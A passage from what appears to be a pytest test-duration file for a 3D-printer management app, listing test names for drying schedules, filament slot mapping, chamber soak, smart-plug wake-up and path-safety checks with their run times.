"unit/test_safe_path.py::TestSafeJoinUnder::test_embedded_parent_traversal_rejected": 0.0016223518177866936, + "unit/test_safe_path.py::TestSafeJoinUnder::test_empty_string_part_rejected": 0.0015097791329026222, + "unit/test_safe_path.py::TestSafeJoinUnder::test_http_false_allows_clean_join": 0.0017847754061222076, + "unit/test_safe_path.py::TestSafeJoinUnder::test_http_false_raises_path_traversal_error": 0.0015142476186156273, + "unit/test_safe_path.py::TestSafeJoinUnder::test_nested_path_components_are_joined": 0.0017585456371307373, + "unit/test_safe_path.py::TestSafeJoinUnder::test_no_parts_rejected": 0.0015158513560891151, + "unit/test_safe_path.py::TestSafeJoinUnder::test_non_string_part_rejected": 0.0015122443437576294, + "unit/test_safe_path.py::TestSafeJoinUnder::test_null_byte_rejected": 0.001517745666205883, + "unit/test_safe_path.py::TestSafeJoinUnder::test_parent_traversal_rejected": 0.0016512256115674973, + "unit/test_safe_path.py::TestSafeJoinUnder::test_returned_path_is_resolved": 0.0016414858400821686, + "unit/test_safe_path.py::TestSafeJoinUnder::test_simple_filename_is_joined": 0.002447478473186493, + "unit/test_scheduled_drying_model.py::test_created_by_fk_declares_set_null": 0.0020149266347289085, + "unit/test_scheduled_drying_model.py::test_printer_fk_declares_cascade_delete": 0.002584836445748806, + "unit/test_scheduled_drying_model.py::test_scheduled_drying_defaults": 0.19029933772981167, + "unit/test_scheduled_drying_routes.py::test_cancel_pending": 0.2165937600657344, + "unit/test_scheduled_drying_routes.py::test_cancel_running_sends_stop_command": 0.20477591082453728, + "unit/test_scheduled_drying_routes.py::test_create_and_list": 0.21263449918478727, + "unit/test_scheduled_drying_routes.py::test_create_invalid_temp_422": 0.21064291708171368, + "unit/test_scheduled_drying_routes.py::test_create_rejects_past_start_after": 0.2107389271259308, + "unit/test_scheduled_drying_routes.py::test_create_unknown_printer_404": 0.20570817776024342, + "unit/test_scheduled_drying_routes.py::test_failed_rows_are_listed_and_dismissable": 0.2228662483394146, + "unit/test_scheduled_drying_routes.py::test_list_orders_by_start_after_then_id": 0.23258867114782333, + "unit/test_scheduled_drying_routes.py::test_offline_printer_is_still_schedulable": 0.2051135739311576, + "unit/test_scheduled_drying_routes.py::test_over_long_filament_422": 0.20372994989156723, + "unit/test_scheduled_drying_routes.py::test_screen_only_model_rejected_at_schedule_time": 0.19928801525384188, + "unit/test_scheduled_drying_routes.py::test_stale_firmware_rejected_when_printer_is_online": 0.1984285544604063, + "unit/test_scheduled_drying_routes.py::test_timestamps_carry_z_suffix": 0.20095044001936913, + "unit/test_scheduled_drying_schema.py::test_create_accepts_naive_datetime_unchanged": 0.0016284817829728127, + "unit/test_scheduled_drying_schema.py::test_create_normalizes_aware_datetime_to_naive_utc": 0.002201044000685215, + "unit/test_scheduled_drying_schema.py::test_duration_out_of_range_rejected": 0.0016377707943320274, + "unit/test_scheduled_drying_schema.py::test_over_long_filament_rejected": 0.0014869170263409615, + "unit/test_scheduled_drying_schema.py::test_temp_out_of_range_rejected": 0.0015143491327762604, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilaments::test_build_loaded_filaments_empty_status": 0.001514027826488018, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilaments::test_build_loaded_filaments_skips_empty_trays": 0.0014583012089133263, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilaments::test_build_loaded_filaments_with_ams": 0.0015006307512521744, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilaments::test_build_loaded_filaments_with_external": 0.0014709364622831345, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilaments::test_build_loaded_filaments_with_ht_ams": 0.0015012547373771667, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilamentsTrayInfoIdx::test_build_loaded_filaments_empty_tray_info_idx": 0.001494022086262703, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilamentsTrayInfoIdx::test_build_loaded_filaments_external_spool_tray_info_idx": 0.001498187892138958, + "unit/test_scheduler_ams_mapping.py::TestBuildLoadedFilamentsTrayInfoIdx::test_build_loaded_filaments_includes_tray_info_idx": 0.001494341529905796, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_fallback_to_filament_nozzle_map_without_group_id": 0.0015947110950946808, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_fallback_to_filament_nozzle_map_without_slice_info": 0.0015411684289574623, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_group_id_priority_over_filament_nozzle_map": 0.0017236601561307907, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_missing_extruder_nozzle_stats_falls_through": 0.0021191127598285675, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_missing_fields_returns_none": 0.0015225131064653397, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_missing_project_settings_returns_none": 0.0014913752675056458, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_physical_extruder_map_remapping": 0.001534225419163704, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_single_active_extruder_maps_all_slots": 0.001612815074622631, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_single_active_extruder_no_slice_info_returns_none": 0.0015941178426146507, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_single_active_under_report_with_multi_group_falls_through": 0.0018451688811182976, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_single_active_with_single_group_still_uses_shortcut": 0.0016780467703938484, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_single_nozzle_returns_none": 0.0015292568132281303, + "unit/test_scheduler_ams_mapping.py::TestExtractNozzleMappingFrom3mf::test_two_active_extruders_falls_through": 0.0019436134025454521, + "unit/test_scheduler_ams_mapping.py::TestFtsNozzleBypass::test_fts_flag_is_noop_without_nozzle_id": 0.0016387822106480598, + "unit/test_scheduler_ams_mapping.py::TestFtsNozzleBypass::test_fts_routes_correct_colour_from_other_nozzle": 0.00198338832706213, + "unit/test_scheduler_ams_mapping.py::TestFtsNozzleBypass::test_without_fts_nozzle_filter_still_applies": 0.0017943140119314194, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_build_loaded_filaments_h2d": 0.001546245999634266, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_dual_nozzle_multi_filament": 0.0016359155997633934, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_external_spool_extruder_h2d": 0.001922953873872757, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_external_spool_matches_on_correct_nozzle": 0.002189796417951584, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_match_left_nozzle_only": 0.0016268370673060417, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_match_right_nozzle_only": 0.0016241148114204407, + "unit/test_scheduler_ams_mapping.py::TestH2DModel::test_reject_cross_nozzle": 0.001673237420618534, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_avoids_duplicate_assignment": 0.001562698744237423, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_by_tray_info_idx_priority": 0.0015536211431026459, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_by_tray_info_idx_with_different_colors": 0.0015285154804587364, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_empty_required": 0.0014338875189423561, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_exact_color": 0.0017412248998880386, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_external_spool": 0.0015252390876412392, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_fallback_to_color_when_no_matching_tray_info_idx": 0.0015181852504611015, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_fallback_to_color_when_no_tray_info_idx": 0.0015160012990236282, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_h2d_pro_ams_ids": 0.0015263212844729424, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_multiple_filaments": 0.0015592025592923164, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_multiple_same_color_with_tray_info_idx": 0.0015155207365751266, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_no_match_returns_minus_one": 0.0015314305201172829, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_non_unique_tray_info_idx_same_color": 0.0015328340232372284, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_non_unique_tray_info_idx_uses_color": 0.0015145782381296158, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_similar_color": 0.0015549343079328537, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_tray_info_idx_not_reused": 0.001546979881823063, + "unit/test_scheduler_ams_mapping.py::TestMatchFilamentsToSlots::test_match_type_only": 0.0015200190246105194, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_dual_nozzle_matching": 0.0016973521560430527, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_dual_nozzle_with_tray_info_idx": 0.0015987474471330643, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_external_spool_extruder_id": 0.0015289057046175003, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_external_spool_no_extruder_map": 0.0015225950628519058, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_extruder_id_in_loaded_filaments": 0.0015317918732762337, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_extruder_id_none_without_map": 0.001534193754196167, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_no_nozzle_id_skips_filtering": 0.0015746010467410088, + "unit/test_scheduler_ams_mapping.py::TestNozzleAwareMapping::test_nozzle_hard_filter_no_fallback": 0.0016109896823763847, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_disabled_picks_first": 0.001530359499156475, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_external_spool": 0.0015749912708997726, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_missing_remain_sorted_last": 0.001575293019413948, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_multiple_slots": 0.0016514034941792488, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_picks_lower_remain": 0.0015840400010347366, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_unknown_remain_sorted_last": 0.001562328077852726, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestFilament::test_prefer_lowest_with_tray_info_idx": 0.0015829456970095634, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_ams_ht_does_not_outrank_regular_ams_on_tie": 0.001591503620147705, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_external_with_negative_ams_id_does_not_outrank_ams_on_tie": 0.001604597084224224, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_inventory_override_beats_mqtt_remain": 0.0015698429197072983, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_inventory_override_with_zero_grams_still_wins": 0.0015350878238677979, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_inventory_tier_beats_mqtt_tier_regardless_of_value": 0.0015840912237763405, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_no_override_falls_back_to_mqtt_remain": 0.0015522697940468788, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_no_override_unknown_remain_sorts_after_known": 0.0015640109777450562, + "unit/test_scheduler_ams_mapping.py::TestPreferLowestInventoryOverride::test_two_tracked_spools_tied_at_same_grams_lower_slot_wins": 0.0015786103904247284, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_colors_are_similar_exact_match": 0.0015977844595909119, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_colors_are_similar_none_colors": 0.0014896932989358902, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_colors_are_similar_outside_threshold": 0.0014625117182731628, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_colors_are_similar_within_threshold": 0.0014574620872735977, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_empty": 0.0014580842107534409, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_for_compare": 0.0014616390690207481, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_for_compare_with_alpha": 0.0014765169471502304, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_none": 0.001467980444431305, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_with_alpha": 0.001470746472477913, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_with_hash": 0.0015061236917972565, + "unit/test_scheduler_ams_mapping.py::TestSchedulerAmsMappingHelpers::test_normalize_color_without_hash": 0.0014807749539613724, + "unit/test_scheduler_ams_mapping.py::TestX1CModel::test_build_loaded_filaments_x1c": 0.002174878492951393, + "unit/test_scheduler_ams_mapping.py::TestX1CModel::test_multi_filament_x1c": 0.001726645976305008, + "unit/test_scheduler_ams_mapping.py::TestX1CModel::test_non_unique_tray_info_idx_color_match_x1c": 0.0017246026545763016, + "unit/test_scheduler_ams_mapping.py::TestX1CModel::test_single_nozzle_no_filtering": 0.0021744538098573685, + "unit/test_scheduler_ams_mapping.py::TestX1CModel::test_tray_info_idx_matching_x1c": 0.0022392570972442627, + "unit/test_scheduler_auto_drying.py::TestAmbientDrying::test_ambient_continues_when_queue_empty": 0.008206130936741829, + "unit/test_scheduler_auto_drying.py::TestAmbientDrying::test_ambient_does_not_dry_below_threshold": 0.007989725098013878, + "unit/test_scheduler_auto_drying.py::TestAmbientDrying::test_ambient_dries_idle_printer_without_queue": 0.008004291914403439, + "unit/test_scheduler_auto_drying.py::TestAmbientDrying::test_ambient_off_stops_drying_without_queue": 0.004449059255421162, + "unit/test_scheduler_auto_drying.py::TestAmbientDrying::test_queue_only_does_not_dry_without_scheduled_items": 0.007113824598491192, + "unit/test_scheduler_auto_drying.py::TestAutoDryProgressKeepsItGoing::test_a_reading_oscillating_by_one_point_still_suspends": 0.10345550626516342, + "unit/test_scheduler_auto_drying.py::TestAutoDryProgressKeepsItGoing::test_a_reading_that_keeps_falling_is_never_suspended": 0.0977285634726286, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_does_not_rearm_immediately_after_a_cycle_ends": 0.02529809530824423, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_history_is_dropped_when_the_printer_goes_away": 0.0028148768469691277, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_humidity_dropping_lifts_the_suspension": 0.014153658412396908, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_manual_cycle_is_neither_counted_nor_interrupted": 0.021771596744656563, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_suspends_after_repeated_unproductive_cycles": 0.03943413309752941, + "unit/test_scheduler_auto_drying.py::TestAutoDryRearmGuards::test_suspension_notifies_once_and_stays_put": 0.02424895018339157, + "unit/test_scheduler_auto_drying.py::TestAutoDryStoppedByBambuddy::test_manual_stop_button_is_not_an_unproductive_cycle": 0.020133867859840393, + "unit/test_scheduler_auto_drying.py::TestAutoDryStoppedByBambuddy::test_print_takes_priority_stop_is_not_an_unproductive_cycle": 0.01911734137684107, + "unit/test_scheduler_auto_drying.py::TestAutoStopOnFeatureDisabled::test_stops_drying_when_disabled": 0.0033200327306985855, + "unit/test_scheduler_auto_drying.py::TestAutoStopOnNoScheduledItems::test_stops_when_empty_queue": 0.003921168856322765, + "unit/test_scheduler_auto_drying.py::TestAutoStopOnNoScheduledItems::test_stops_when_no_scheduled_items": 0.003918463364243507, + "unit/test_scheduler_auto_drying.py::TestBlockForDryingBugFix::test_block_mode_leaves_active_drying_running": 0.00783507339656353, + "unit/test_scheduler_auto_drying.py::TestBlockForDryingBugFix::test_block_mode_prevents_new_drying_start": 0.007854952476918697, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_custom_presets": 0.0015038978308439255, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_empty_tray_type_skipped": 0.00148719921708107, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_empty_trays_returns_none": 0.0014905333518981934, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_filament_type_normalization": 0.0014849137514829636, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_mixed_filaments_longest_duration": 0.0015042303130030632, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_mixed_filaments_lowest_temp": 0.0016994550824165344, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_n3f_uses_n3f_keys": 0.0014785313978791237, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_n3s_uses_n3s_keys": 0.0014949822798371315, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_single_filament_pla": 0.0015198076143860817, + "unit/test_scheduler_auto_drying.py::TestConservativeDryingParams::test_unknown_filament_skipped": 0.0014720577746629715, + "unit/test_scheduler_auto_drying.py::TestDryingPresets::test_default_presets_when_no_setting": 0.002415207214653492, + "unit/test_scheduler_auto_drying.py::TestDryingPresets::test_empty_string_falls_back": 0.002191278152167797, + "unit/test_scheduler_auto_drying.py::TestDryingPresets::test_invalid_json_falls_back": 0.004520552232861519, + "unit/test_scheduler_auto_drying.py::TestDryingPresets::test_user_presets_from_db": 0.0022585149854421616, + "unit/test_scheduler_auto_drying.py::TestDryingTrackingTimestamps::test_initial_state_empty": 0.0015450259670615196, + "unit/test_scheduler_auto_drying.py::TestDryingTrackingTimestamps::test_timestamp_is_monotonic": 0.0015335045754909515, + "unit/test_scheduler_auto_drying.py::TestDryingTrackingTimestamps::test_timestamp_is_truthy": 0.001515861600637436, + "unit/test_scheduler_auto_drying.py::TestGetHumidityThresholds::test_empty_value_returns_empty": 0.0022217947989702225, + "unit/test_scheduler_auto_drying.py::TestGetHumidityThresholds::test_invalid_json_returns_empty": 0.002231934107840061, + "unit/test_scheduler_auto_drying.py::TestGetHumidityThresholds::test_missing_setting_returns_empty": 0.0023525599390268326, + "unit/test_scheduler_auto_drying.py::TestGetHumidityThresholds::test_valid_json_normalizes_keys": 0.002472885884344578, + "unit/test_scheduler_auto_drying.py::TestMidPrintDrying::test_running_printer_dries_when_enabled_and_capable": 0.007901930250227451, + "unit/test_scheduler_auto_drying.py::TestMidPrintDrying::test_running_printer_skipped_when_firmware_too_old": 0.007800529710948467, + "unit/test_scheduler_auto_drying.py::TestMidPrintDrying::test_running_printer_skipped_when_model_excluded": 0.0076732030138373375, + "unit/test_scheduler_auto_drying.py::TestMidPrintDrying::test_running_printer_skipped_when_toggle_off": 0.006946799345314503, + "unit/test_scheduler_auto_drying.py::TestMidPrintDrying::test_temp_cap_applied_above_floor": 0.007846717722713947, + "unit/test_scheduler_auto_drying.py::TestMinimumDryingTime::test_no_stop_after_long_elapsed_time": 0.010989527218043804, + "unit/test_scheduler_auto_drying.py::TestMinimumDryingTime::test_no_stop_before_minimum_time": 0.008352666161954403, + "unit/test_scheduler_auto_drying.py::TestPlateHoldDoesNotGateDrying::test_a_printer_about_to_print_is_still_left_alone": 0.008165504783391953, + "unit/test_scheduler_auto_drying.py::TestPlateHoldDoesNotGateDrying::test_finished_printer_with_dirty_plate_dries_at_full_temperature": 0.008375339210033417, + "unit/test_scheduler_auto_drying.py::TestPlateHoldDoesNotGateDrying::test_idleness_is_judged_without_the_plate_gate": 0.008293495513498783, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_all_empty_trays_uses_default_key": 0.001483159139752388, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_empty_tray_slots_skipped": 0.001473831944167614, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_filament_name_normalized": 0.0014925962314009666, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_mixed_load_picks_lowest": 0.001483239233493805, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_no_overrides_falls_back_to_global": 0.0015095388516783714, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_no_tray_type_field_skipped": 0.0014914758503437042, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_single_known_type_uses_override": 0.0014807041734457016, + "unit/test_scheduler_auto_drying.py::TestResolveHumidityThreshold::test_unknown_type_uses_default_key": 0.0014773979783058167, + "unit/test_scheduler_auto_drying.py::TestStopDrying::test_clears_tracking_when_no_state": 0.0019561070948839188, + "unit/test_scheduler_auto_drying.py::TestStopDrying::test_leaves_cycles_bambuddy_did_not_start": 0.002268572337925434, + "unit/test_scheduler_auto_drying.py::TestStopDrying::test_stops_all_ams_units": 0.002666718326508999, + "unit/test_scheduler_auto_drying.py::TestStopDrying::test_stops_nothing_it_cannot_prove_it_started": 0.002154005691409111, + "unit/test_scheduler_auto_drying.py::TestSyncDryingState::test_keeps_active_printers": 0.001761171966791153, + "unit/test_scheduler_auto_drying.py::TestSyncDryingState::test_removes_disconnected_printers": 0.0018516713753342628, + "unit/test_scheduler_auto_drying.py::TestSyncDryingState::test_removes_stopped_printers": 0.0017923004925251007, + "unit/test_scheduler_backup_gate.py::TestPreferLowestBackupGate::test_backup_off_disables_prefer_lowest": 0.003654549829661846, + "unit/test_scheduler_backup_gate.py::TestPreferLowestBackupGate::test_backup_on_preserves_prefer_lowest": 0.0031187161803245544, + "unit/test_scheduler_backup_gate.py::TestPreferLowestBackupGate::test_backup_unknown_preserves_prefer_lowest": 0.003415261395275593, + "unit/test_scheduler_backup_gate.py::TestPreferLowestBackupGate::test_user_setting_off_short_circuits": 0.002932066097855568, + "unit/test_scheduler_busy_defer_2598.py::test_post_dispatch_busy_reverts_to_pending_not_failed": 0.0805784072726965, + "unit/test_scheduler_busy_defer_2598.py::test_pre_dispatch_busy_defers_without_upload": 0.07341850828379393, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_busy_and_filament": 0.0016732066869735718, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_busy_and_offline": 0.00187651626765728, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_filament_only": 0.0017255451530218124, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_multiple_busy": 0.002018732950091362, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_no_available_printers": 0.0016273511573672295, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_no_matching_color": 0.0016512749716639519, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_offline_only": 0.0016574962064623833, + "unit/test_scheduler_busy_only.py::TestIsBusyOnly::test_single_busy": 0.002597828395664692, + "unit/test_scheduler_cancel_race.py::test_cancel_before_ftp_upload_skips_dispatch": 0.07864178624004126, + "unit/test_scheduler_cancel_race.py::test_cancel_during_ftp_upload_aborts_before_mqtt": 0.06686452496796846, + "unit/test_scheduler_cancel_race.py::test_happy_path_still_dispatches": 0.07248263340443373, + "unit/test_scheduler_chamber_soak.py::test_brief_dip_does_not_reset_credit": 0.002163125202059746, + "unit/test_scheduler_chamber_soak.py::test_currently_below_threshold_returns_full_soak": 0.0017593670636415482, + "unit/test_scheduler_chamber_soak.py::test_dip_long_enough_ago_returns_zero": 0.0021653883159160614, + "unit/test_scheduler_chamber_soak.py::test_dip_past_grace_period_does_reset_credit": 0.0020763222128152847, + "unit/test_scheduler_chamber_soak.py::test_disconnect_gap_credits_only_last_contiguous_run": 0.0019668862223625183, + "unit/test_scheduler_chamber_soak.py::test_empty_history_returns_full_soak": 0.0028739478439092636, + "unit/test_scheduler_chamber_soak.py::test_four_minute_door_open_dip_does_not_reset_credit": 0.0021422458812594414, + "unit/test_scheduler_chamber_soak.py::test_fresh_history_within_max_gap_is_credited": 0.0018111439421772957, + "unit/test_scheduler_chamber_soak.py::test_history_equal_to_soak_returns_zero": 0.002491629682481289, + "unit/test_scheduler_chamber_soak.py::test_history_longer_than_soak_returns_zero": 0.002149248495697975, + "unit/test_scheduler_chamber_soak.py::test_history_shorter_than_soak_credits_span": 0.0023753922432661057, + "unit/test_scheduler_chamber_soak.py::test_recent_dip_credits_only_time_since_dip": 0.0021539079025387764, + "unit/test_scheduler_chamber_soak.py::test_result_never_negative": 0.0018066661432385445, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_appends_current_reading": 0.0018802937120199203, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_evicts_history_for_removed_printer": 0.0018400195986032486, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_evicts_keep_warm_state_for_removed_printer": 0.0019468599930405617, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_none_status_ignored": 0.0018489938229322433, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_prunes_entries_beyond_ttl": 0.001867709681391716, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_skips_absent_chamber_key": 0.002035905607044697, + "unit/test_scheduler_chamber_soak.py::test_sample_chamber_temps_skips_disconnected_printer": 0.0018833093345165253, + "unit/test_scheduler_chamber_soak.py::test_sample_gap_at_cadence_threshold_still_contiguous": 0.001821884885430336, + "unit/test_scheduler_chamber_soak.py::test_stale_history_requires_full_soak": 0.0017601978033781052, + "unit/test_scheduler_chamber_soak.py::test_tolerance_boundary_above_counts_as_above": 0.0017650173977017403, + "unit/test_scheduler_chamber_soak.py::test_tolerance_boundary_at_threshold_counts_as_above": 0.0017603179439902306, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_a_dead_plug_does_not_starve_its_siblings": 0.09015500824898481, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_a_failed_power_on_is_not_retried_in_the_same_pass": 0.08454675506800413, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_a_printer_awaiting_plate_clear_is_passed_over": 0.07633800059556961, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_a_printer_is_tried_again_once_its_cooloff_expires": 0.08067247364670038, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_an_expired_cooloff_is_not_left_behind": 0.09157621022313833, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_at_most_one_printer_is_woken_per_pass": 0.07607782259583473, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_nothing_is_woken_when_every_candidate_awaits_plate_clear": 0.0783748384565115, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_offline_printers_are_powered_on_for_an_any_model_job": 0.07628639601171017, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestClassTargetWakesAPrinter::test_plate_clear_gate_off_wakes_anyway": 0.08138894848525524, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_a_job_with_no_filament_requirement_wakes_as_before": 0.0846851160749793, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_a_missing_filament_type_rules_a_printer_out": 0.07710929587483406, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_a_preferred_colour_nobody_has_still_wakes_the_first_printer": 0.07407412584871054, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_a_printer_we_have_never_heard_from_is_still_woken": 0.09088743012398481, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_a_reading_kept_after_the_client_was_dropped_still_counts": 0.07529499474912882, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_ams_trays_are_read_the_same_as_the_external_spool": 0.08374586421996355, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_an_empty_reading_counts_as_unknown": 0.07363975141197443, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_only_the_printer_that_can_take_the_job_is_woken": 0.0811494393274188, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_the_filament_variant_is_honoured": 0.07326623145490885, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_the_waiting_reason_says_filament_not_offline": 0.07695617899298668, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFilamentIsCheckedBeforeSwitchingOn::test_what_the_printer_reported_beats_what_was_remembered": 0.07792532537132502, + "unit/test_scheduler_class_target_smart_plug_2786.py::TestFixedPrinterBranchStillWakes::test_an_item_pinned_to_a_printer_still_powers_it_on": 0.07191518042236567, + 